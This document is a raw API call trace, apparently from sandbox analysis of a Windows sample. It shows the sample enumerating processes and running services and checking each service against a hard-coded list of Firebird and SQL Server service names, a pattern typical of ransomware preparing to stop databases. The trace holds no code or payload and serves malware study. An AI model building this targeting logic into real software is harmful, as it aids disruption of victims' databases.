	[0051.253] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.253] lstrlenW (lpString="svchost.exe") returned 11
	[0051.254] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0051.254] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0051.254] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0051.255] lstrlenW (lpString="conhost.exe") returned 11
	[0051.255] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0051.256] CloseHandle (hObject=0x2f0) returned 1
	[0051.256] Sleep (dwMilliseconds=0x1f4) 
	[0052.307] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fd28
	[0052.307] EnumServicesStatusExW (in: hSCManager=0x68fd28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0052.308] GetLastError () returned 0xea
	[0052.308] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c76) returned 0x3bfae80
	[0052.308] EnumServicesStatusExW (in: hSCManager=0x68fd28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bfae80, cbBufSize=0x1c76, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bfae80, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0052.309] CloseServiceHandle (hSCObject=0x68fd28) returned 1
	[0052.309] lstrlenW (lpString="Appinfo") returned 7
	[0052.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0052.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0052.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0052.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0052.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0052.309] lstrlenW (lpString="AppXSvc") returned 7
	[0052.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0052.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0052.309] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0052.309] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0052.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0052.309] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0052.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0052.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0052.310] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0052.310] lstrlenW (lpString="Audiosrv") returned 8
	[0052.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0052.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0052.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0052.310] lstrlenW (lpString="BFE") returned 3
	[0052.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0052.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0052.310] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0052.310] lstrlenW (lpString="BITS") returned 4
	[0052.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0052.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0052.310] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0052.310] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0052.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0052.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0052.310] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0052.310] lstrlenW (lpString="CDPSvc") returned 6
	[0052.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0052.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0052.310] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0052.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0052.310] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0052.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0052.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0052.311] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0052.311] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0052.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0052.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0052.311] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0052.311] lstrlenW (lpString="CryptSvc") returned 8
	[0052.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0052.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0052.311] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0052.311] lstrlenW (lpString="DcomLaunch") returned 10
	[0052.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0052.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0052.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0052.311] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0052.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0052.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0052.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0052.311] lstrlenW (lpString="Dhcp") returned 4
	[0052.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0052.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0052.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0052.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0052.311] lstrlenW (lpString="Dnscache") returned 8
	[0052.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0052.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0052.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0052.312] lstrlenW (lpString="DoSvc") returned 5
	[0052.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0052.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0052.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0052.312] lstrlenW (lpString="DPS") returned 3
	[0052.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0052.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0052.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0052.312] lstrlenW (lpString="DusmSvc") returned 7
	[0052.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0052.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0052.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0052.312] lstrlenW (lpString="EventLog") returned 8
	[0052.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0052.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0052.312] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0052.312] lstrlenW (lpString="EventSystem") returned 11
	[0052.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0052.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0052.312] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0052.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0052.312] lstrlenW (lpString="FontCache") returned 9
	[0052.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0052.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0052.312] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0052.313] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0052.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0052.313] lstrlenW (lpString="gpsvc") returned 5
	[0052.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0052.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0052.313] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0052.313] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0052.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0052.313] lstrlenW (lpString="iphlpsvc") returned 8
	[0052.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0052.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0052.313] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0052.313] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0052.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0052.313] lstrlenW (lpString="KeyIso") returned 6
	[0052.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0052.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0052.313] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0052.313] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0052.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0052.313] lstrlenW (lpString="LanmanServer") returned 12
	[0052.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0052.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0052.313] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0052.313] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0052.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0052.313] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0052.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0052.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0052.313] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0052.313] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0052.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0052.313] lstrlenW (lpString="lfsvc") returned 5
	[0052.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0052.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0052.313] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0052.313] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0052.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0052.314] lstrlenW (lpString="lmhosts") returned 7
	[0052.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0052.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0052.314] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0052.314] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0052.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0052.314] lstrlenW (lpString="LSM") returned 3
	[0052.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0052.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0052.314] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0052.314] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0052.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0052.314] lstrlenW (lpString="MpsSvc") returned 6
	[0052.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0052.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0052.314] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0052.314] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0052.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0052.314] lstrlenW (lpString="NcbService") returned 10
	[0052.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0052.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0052.314] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0052.314] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0052.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0052.314] lstrlenW (lpString="netprofm") returned 8
	[0052.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0052.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0052.314] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0052.314] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0052.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0052.314] lstrlenW (lpString="NlaSvc") returned 6
	[0052.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0052.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0052.314] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0052.314] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0052.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0052.315] lstrlenW (lpString="nsi") returned 3
	[0052.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0052.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0052.315] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0052.315] lstrlenW (lpString="PcaSvc") returned 6
	[0052.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0052.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0052.315] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0052.315] lstrlenW (lpString="PlugPlay") returned 8
	[0052.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0052.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0052.315] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0052.315] lstrlenW (lpString="Power") returned 5
	[0052.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0052.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0052.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0052.315] lstrlenW (lpString="ProfSvc") returned 7
	[0052.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0052.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0052.315] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0052.315] lstrlenW (lpString="RpcEptMapper") returned 12
	[0052.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0052.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0052.315] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0052.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0052.315] lstrlenW (lpString="RpcSs") returned 5
	[0052.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0052.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0052.316] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0052.316] lstrlenW (lpString="SamSs") returned 5
	[0052.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0052.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0052.316] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0052.316] lstrlenW (lpString="Schedule") returned 8
	[0052.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0052.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0052.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0052.316] lstrlenW (lpString="SecurityHealthService") returned 21
	[0052.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0052.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0052.316] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0052.316] lstrlenW (lpString="SENS") returned 4
	[0052.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0052.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0052.316] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0052.316] lstrlenW (lpString="ShellHWDetection") returned 16
	[0052.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0052.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0052.316] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0052.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0052.316] lstrlenW (lpString="Spooler") returned 7
	[0052.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0052.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0052.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0052.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0052.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0052.317] lstrlenW (lpString="SSDPSRV") returned 7
	[0052.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0052.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0052.317] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0052.317] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0052.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0052.317] lstrlenW (lpString="StateRepository") returned 15
	[0052.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0052.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0052.317] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0052.317] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0052.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0052.317] lstrlenW (lpString="SysMain") returned 7
	[0052.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0052.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0052.317] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0052.317] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0052.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0052.317] lstrlenW (lpString="SystemEventsBroker") returned 18
